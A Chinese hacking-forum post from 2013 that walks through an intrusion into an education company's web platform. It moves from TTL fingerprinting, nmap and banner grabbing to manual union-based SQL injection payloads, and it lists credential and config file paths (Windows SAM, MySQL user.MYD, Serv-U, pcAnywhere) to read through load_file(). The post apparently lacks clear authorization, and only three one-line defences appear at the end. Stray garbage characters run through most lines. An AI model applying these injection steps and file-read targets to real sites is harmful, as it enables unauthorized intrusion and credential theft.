找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2403|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:2 R) P$ G& E, I3 k& {7 W" X
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……: m) c+ h  t# g$ V& D
第一步:获取需要的信息5 [, t. [) Y6 ]/ H" t- z% f
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。6 G- f" o1 H& ^5 {
注:以下为保护特用XXX代替敏感信息
6 D. t+ u, P5 O顺手先PING了一下他们的域名:! t) l5 i1 D! E6 y$ m9 J
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
+ D5 ]7 ?- ~( Z  T64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms% p, D9 e" U+ y6 T1 B
顺便了解一下TTL,学好基础知识才能一路顺风:; v' y, P  U5 g2 R' `/ b/ k
TTL:(Time To Live ) 生存时间
9 ~8 E: S- Z" z' o4 V指定数据包被路由器丢弃之前允许通过的网段数量。
' ^2 C, O: u- `7 b8 W! V6 OTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。$ ]( Q  c3 \; l) N+ N+ w( X- y8 W4 a# n
使用PING时涉及到的 ICMP 报文类型5 E1 p6 B  K! n( q; V% l* u
一个为ICMP请求回显(ICMP Echo Request)
$ M! K+ x: m$ l; g: F0 B一个为ICMP回显应答(ICMP Echo Reply)6 J' H7 B6 F" }7 @8 e( i, A' z
TTL 字段值可以帮助我们识别操作系统类型。
+ D# T- G  [/ x: lUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255( [+ e7 D. C  a5 i0 }% T; G
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64; t8 t/ X& C; t, w9 |1 H4 j% N
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
- B- ~7 h  Z. M, k6 ?2 o$ U" |# L6 I微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
0 N+ z# a# p6 z% V当然,返回的TTL值是相同的
5 C4 E: r( \9 S& `' }但有些情况下有所特殊
( |0 y9 _! I; pLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64* u: {7 F6 v7 _4 u
FreeBSD 4.1, 4.0, 3.4;7 k. D" v) o4 J2 L+ Z$ A% `6 y
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
$ K: T5 w7 S: ^' |OpenBSD 2.6, 2.7,, \: c/ P* h& W4 h8 d# u
NetBSD
  t/ E) @+ `$ {/ D- kHP UX 10.20/ o. z2 b1 F8 I% y5 q6 H5 }) n
ICMP 回显应答的 TTL 字段值为 255, c4 \8 _' I& s9 e6 {
Windows 95/98/98SE6 a+ e* y* v* C$ J
Windows ME
7 g0 J4 y$ N! r% p$ ~8 r2 ^ICMP 回显应答的 TTL 字段值为 32
' G& d, x2 y* O. l5 c  TWindows NT4 WRKS# Y/ n3 J4 x9 ?
Windows NT4 Server9 a) s- [; k$ x4 C7 L' C
Windows 2000
8 v* ~) r2 l( |. V- U/ N9 DWindows XP2 r% @) T& d. @1 l; p- ~
ICMP 回显应答的 TTL 字段值为 128, u8 r( g% U8 k! R6 V" H* L
这样,我们就可以通过这种方法来辨别操作系统
9 I5 S: {) ?4 `$ sTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
" g: I! q5 c' U  _- e用NMAP扫描一下:
6 z$ h" F( f) Pnmap -sT -O XXX.XXX.XXX.XXX
. u7 @5 A) T1 R7 y, C如果没有装WinPcap则会弹出提示:# l/ d  W' w% U, p9 ^
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr
: y, p+ [! F/ U9 `. |: fade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
: J1 Z) d  F% f. W/ p) mode — Nmap may not function completely
  Y5 q9 _4 C: x" YTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher, _3 [7 a6 b% ~9 b/ ]
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
3 g" g/ Y9 s2 r+ l/ l! }6 a! ppcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
  F3 J( y+ {: C/ X5 J" L% |d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v6 D, d, C. y7 k# T
ersions, you may be able to take iphlpapi.dll from another system and place it i
% O- A6 \7 s$ a7 N1 w: qn your system32 dir (e.g. c:\windows\system32).4 x+ d8 H) q& X# o( \0 z6 [
QUITTING!
+ r% d# J! _9 ^. f  p) G9 _到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
5 M: C& J7 z9 w- Q9 {* S安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:8 f/ E3 A4 T, _( z/ w3 O
Interesting ports on XXX.XXX.XXX.XXX:) \2 I& v- d3 \/ X5 q
Not shown: 986 closed ports. q5 f" M# K6 I; ?  ?
PORT     STATE    SERVICE
) D! Y& \9 f6 f% R' K: ^5 q21/tcp   open     ftp/ m* T$ \- V# k! l! Q& {9 R
22/tcp   open     ssh; a3 X- J8 C5 ~: l3 \% R( W3 k
23/tcp   open     telnet
8 o7 c2 N& T  P6 p80/tcp   open     http6 K- x6 @* q2 W* e
111/tcp  open     rpcbind. }! x) C: b& b4 J8 T) L
135/tcp  filtered msrpc
" d7 N1 d/ h+ o  r9 q  t1 i139/tcp  filtered netbios-ssn
" G' R# f; [7 h5 K& N445/tcp  filtered microsoft-ds$ ~8 o3 t' t6 G. W
513/tcp  open     login& B8 z$ p, e8 @( D
514/tcp  open     shell7 [9 C. B6 Y( O6 A- n( R
593/tcp  filtered http-rpc-epmap2 H7 `2 p, ]; N4 U" q1 `: O
1720/tcp filtered H.323/Q.931, `# ]! V/ r: j) u) r  |
3306/tcp open     mysql: R6 m( M3 Q! ?1 `
4444/tcp filtered krb524/ W; f, E. i$ x
Device type: WAP
0 j  @7 I% C( ^6 _7 ^3 \  ZRunning: Linux 2.4.X& h/ s6 l  f7 J; t4 |- t4 ]9 A& r
OS details: DD-WRT (Linux 2.4.35s)
: ]" J7 [6 a6 ^* BNetwork Distance: 13 hops
! J0 a, W1 D/ C3 h, v# ~/ b看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:* a) }, y6 J1 I, O' I9 ?
login as:( g$ H/ V9 t$ l  Y
Telnet23端口也是开着的,用telnet 命令链接一下:* @6 z" w9 n/ N6 L" b
telnet XXX.XXX.XXX.XXX
3 T% O: ]) Q; P& c3 v提示:
/ K4 ^- {" e; v* TRed Hat Enterprise Linux Server release 5.2 (Tikanga)
6 Y" G& V# y& g+ BKernel 2.6.18-92.el5PAE on an i686
) W9 N0 f) D# V! x- t  ?1 v: Tlogin:8 Q4 P' T- ^3 G
获取HTTP头信息:
: k/ G6 B" [; Y# C% C- ^( ^在本地执行如下PHP代码
: H, M8 b& }. L  \<?php* ?& Y& f0 X* ?+ k, ~" E; H% y
$url = ‘XXX.XXX.XXX.XXX’;
4 R* _& P! x- z# m# \print_r(get_headers($url));
! b$ K) k6 t* C& X+ ^+ Aprint_r(get_headers($url, 1));
7 W4 C: ~7 N9 U0 \8 `- r) ^?>! O; i/ A% w7 _$ ^
将以上代码保存为PHP文件,执行:) g0 R; b9 \& Q) n' W: B4 Y7 r
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes ). {% W4 I0 [4 H  m) b
现在可以得出结论:! d6 B; a0 V+ @3 |, u8 e4 x2 |4 \
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
2 U" P4 R8 l) y: X# I# R/ X内核版本:Kernel 2.6.18-92.el5PAE on an i686
4 e' R, x+ o6 t6 Z, sWEB服务器版本:nginx/0.7.61
- z. O5 \( Y! X( A' \# Y3 R第二步,开始测试寻找漏洞2 f: T* _6 r6 Z' O- E
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。0 |7 {1 q$ i- A
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的- Z+ C; E' i2 Q$ Z8 N" F
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试7 Z5 @- Q7 W$ H% c' z$ p. m  k
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
" {( E4 Y, B4 Zhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误" ]& f% Y2 a: |0 U2 `) e
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
  {$ f% l% d5 W- B. d% J1 f8 T, q3、手工注入:! ~9 N6 T( `) E- a- m
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
9 E) m3 R1 J+ d/ W5 Q6 w* c& o8 R3.1 猜测当前表字段数' l4 z/ j5 W/ u& R' ]3 u
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10" L  L2 R$ d3 _$ A: Z
此处猜测有个简单的算法,都是有技巧的吗,呵呵
. X. k# w" ?' F8 C6 R. M算法简单如下:
+ \: Y& t, `4 W+ b0 B9 M第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
* U1 L( z& {% W6 g$ R第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
6 I0 B% ^" p5 L9 O5 R. ~需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。! s3 M8 V; ^0 K6 ?/ c
以此来判断,是否过界,配合取中算法猜出字段数。
; ]- R0 D5 r5 A' G4 r, a0 J! Z# Y举例:
- b3 w( U' q  Y! g$ w! P/ r9 thttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
* i: v* _3 B( H% S$ e- C# G2 nhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
0 h& W! R" J7 ~- ]) z5 [此时3则为我们要找的字段数。
8 `1 A8 c4 i3 u1 G) N3.2 配合union联合查询字段在页面所位置$ g5 r7 C5 c% N: N+ j
我们已经知道了字段数为3,此时则可以做如下操作:3 M7 i1 ^6 A6 v% C5 E( W( w
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
. o" t+ {/ s9 \$ H5 G2 ?
* p0 V: F6 E+ v这样就可以测试到哪些字段在页面上有所显示了,如图:
/ B! {2 ?0 n( |" V& I: S1 d
; |; _  K1 r. E$ y0 ?3.3 查敏感信息
8 I- Q6 t- M) {这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
. P! B- [2 H1 s- h; k" o0 Xhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()6 R1 _. v% O5 Y5 W8 V( T
3.3.1 先查数据库用户、数据库名,以备后用,如图:
  G# Z4 M. o3 P+ \  o5 R
' b6 p: \# k2 f) X  P4 g5 D8 n得到数据库用户为root、数据库名为DBxx;
# X0 i% M& i7 @* h3.3.2 查配置文件' }) }+ k3 K) U# r$ a; u
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。7 q: y7 j+ C- I% Q0 C
查看文件有一定的条件限制:: D8 S9 D- z, }1 l0 c* a
欲读取文件必须在服务器上
0 X3 g/ V: v& _/ ]必须指定文件完整的路径
2 u2 A8 t7 o3 W必须有权限读取并且文件必须完全可读
2 P/ W) `6 t$ ]欲读取文件必须小于 max_allowed_packet. Y8 f. |& f( V  `1 V
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。8 k& v$ [2 h6 t, ^$ C# |+ b) m
常用的一些:' h& U, H! G' t  G
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
) P4 J- T7 u6 I2 `; Y$ `2 m/usr/local/apache2/conf/httpd.conf& E: E! B  k- x  X5 U) _
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置) c- D$ z4 k. x! F
/usr/local/app/php5/lib/php.ini //PHP相关设置
5 q8 B) M( q/ K) c" u5 G/ W( g/etc/sysconfig/iptables //从中得到防火墙规则策略
. I0 {+ b+ g- y" p9 g  d& U* F/etc/httpd/conf/httpd.conf // apache配置文件
" ?/ }2 X: W8 P* u/etc/rsyncd.conf //同步程序配置文件
/ z4 s) P- P9 D3 y. p" C: C9 [2 r/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
, Q7 A4 S" ?( n9 a) f/etc/my.cnf //mysql的配置文件
  Q  ~. @1 w- _& B% x/etc/redhat-release //系统版本
- `( [6 j  W) U5 y5 ]/etc/issue
1 U4 p5 X  u- f+ @/etc/issue.net; @+ \$ R& {* h$ k- H- h! b
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码; l* o+ @7 \. K2 S
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
  r& ~0 J( e! }' @  g/ @* Jc:\Program Files\Serv-U\ServUDaemon.ini
2 }) D! z" S9 U" wc:\windows\my.ini //MYSQL配置文件
$ w- @- Z% A" N: b5 c8 ?, E. lc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
$ Z- r& t; D6 x: |! t7 j) p  a等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
" W4 ]( I- v, h  D1 ec:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
# `8 j' \7 N: F- G9 Qc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
7 K5 M- G% ]% [6 u0 d# }' Vc:\Program Files\RhinoSoft.com\ServUDaemon.exe5 K  y6 f7 N7 u7 e2 Z
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
% ~" [: Q6 `' y/ E. E* H% G//存储了pcAnywhere的登陆密码
2 @& a3 L3 ~7 I- c0 J2 \' B由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
5 `! w1 C4 a# f8 d: k0 v% H, U这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。) B' f# l$ ]! }- p( u
最后:防范措施/ c: y2 T6 |4 b: ?8 n* J* ^
1、修复PHP注入漏洞;
* _, F3 V7 z7 }  K8 B2、Mysql使用普通权限的用户;
6 `$ i, G# [4 W0 M/ x2 V3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表